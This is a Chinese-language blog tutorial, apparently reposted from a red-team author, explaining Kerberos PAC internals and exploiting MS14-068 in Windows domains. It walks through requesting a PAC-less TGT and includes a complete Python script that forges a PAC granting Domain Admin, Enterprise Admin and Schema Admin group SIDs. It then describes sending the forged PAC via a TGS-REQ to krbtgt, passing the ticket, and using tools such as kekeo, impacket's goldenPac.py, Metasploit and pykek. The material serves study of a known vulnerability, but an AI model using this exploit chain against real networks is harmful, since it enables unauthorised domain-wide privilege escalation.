Windows内网协议学习Kerberos篇之PAC( 三 )

之前说的TGT票据放在这个结构体里面,就是放在ticket里面 。
authenticator 的内容包括加密类型和用session_key加密Authenticator加密成的密文 。
Authenticator的结构如下
Authenticator ::= [APPLICATION 2] SEQUENCE {authenticator-vno [0] INTEGER (5),crealm [1] Realm,cname [2] PrincipalName,cksum [3] Checksum OPTIONAL,cusec [4] Microseconds,ctime [5] KerberosTime,subkey [6] EncryptionKey OPTIONAL,seq-number [7] UInt32 OPTIONAL,authorization-data [8] AuthorizationData OPTIONAL}其中加密PAC的密钥就放在subkey里面 。
大体流程就是KDC拿到APREQ之后,提取里面authenticator的密文,用sessionkey解密获得subkey,再使用subkey解密enc-authorization-data获得PAC.而PAC是我们自己伪造的.
所以最后梳理一下MS14068漏洞利用思路 。
 
1.发起一个 PAPACREQUEST里面选择include_pac 为false 。此时生成的TGT票据是不含有PAC的

Windows内网协议学习Kerberos篇之PAC

文章插图
 
2.伪造一个PAC
sid为当前用户的sid.将如下组的 sid加进GroupId
  • 域用户(513)
  • 域管理员(512)
  • 架构管理员(518)
  • 企业管理员(519)
  • 组策略创建者所有者(520)
后续kerberos测试工具会加入制作PAC的功能,现在暂时不支持,我们直接利用pykek的代码来生成下,跟ms14068.py的同一文件夹底下,新建makepac.py,代码如下
from kek.pac import build_pacfrom kek.util import gt2epochfrom kek.krb5 import AD_WIN2K_PAC,AuthorizationData,AD_IF_RELEVANTfrom pyasn1.codec.der.encoder import encodeif __name__ == '__main__':user_realm = "0day.org" #改成自己的user_name = "jack" #改成自己的user_sid = "S-1-5-21-1812960810-2335050734-3517558805-1133" #改成自己的# logon_time = gt2epoch(str(as_rep_enc['authtime']))logon_time = gt2epoch('20191112101422Z')print(logon_time)authorization_data = https://www.isolves.com/it/wl/zs/2019-12-30/(AD_WIN2K_PAC, build_pac(user_realm, user_name, user_sid, logon_time))ad1 = AuthorizationData()ad1[0] = Nonead1[0]['ad-type'] = authorization_data[0]ad1[0]['ad-data'] = authorization_data[1]ad = AuthorizationData()ad[0] = Nonead[0]['ad-type'] = AD_IF_RELEVANTad[0]['ad-data'] = encode(ad1)data = encode(ad)with open("jack.pac","wb") as f:f.write(data)注意这里的logontime来自于第一步中生成的ASREP的enc_part解密后的的authtime,在工具里面右键复制就行
Windows内网协议学习Kerberos篇之PAC

文章插图
 
3.发起一次服务用户是krbtgt的TGSREQ,此时导入的TGT里面是不含有PAC的(在第一步里面选择include=False返回的TGT不含有pac),然后将我们伪造的PAC是加密放在 enc-authorization-data里面 。
 
加密用的key的放在PA-DATA里面的APREQ 。
此时返回的TGS里面就含有我们伪造的PAC 。
在之前的文章里面我们说过,在TGS里面,如果请求的服务是krbtgt的话,那么返回的TGS票据是可以当做TGT的 。
在我们的kerbreos测试工具里面,只需要导入上面makepac.py生成的pac文件 。
Windows内网协议学习Kerberos篇之PAC

文章插图
 
4.Pass the ticket
Windows内网协议学习Kerberos篇之PAC

文章插图
 
这里面使用kerberos 测试工具只是为了理清楚漏洞流程 。更为方便的利用请见底下 。
 
四.部分相关的工具kekeo
Windows内网协议学习Kerberos篇之PAC

文章插图
 
impacket
  • goldenPac.py
这个工具是结合ms14-068加psexec
Windows内网协议学习Kerberos篇之PAC

文章插图
 
msf
  • ms14068kerberos_checksum
msf的这个模块也支持14068攻击利用
Windows内网协议学习Kerberos篇之PAC

文章插图
 
pykek全称是Python Kerberos Exploitation Kit
应该是ms14068漏洞利用,使用的最广泛的一个,一般常用的ms14068.exe,就是由他打包而成的
Windows内网协议学习Kerberos篇之PAC

文章插图
 
先获取sid
Windows内网协议学习Kerberos篇之PAC

文章插图
 
拼接成S-1-5-21-866784659-4049716574-3063611777-1104
生成tgt
Windows内网协议学习Kerberos篇之PAC

文章插图
 
验证tgt是否具备域管权限
Windows内网协议学习Kerberos篇之PAC

文章插图
 
作者:daiker-360RedTeam 转载自:https://www.anquanke.com/post/id/192810


推荐阅读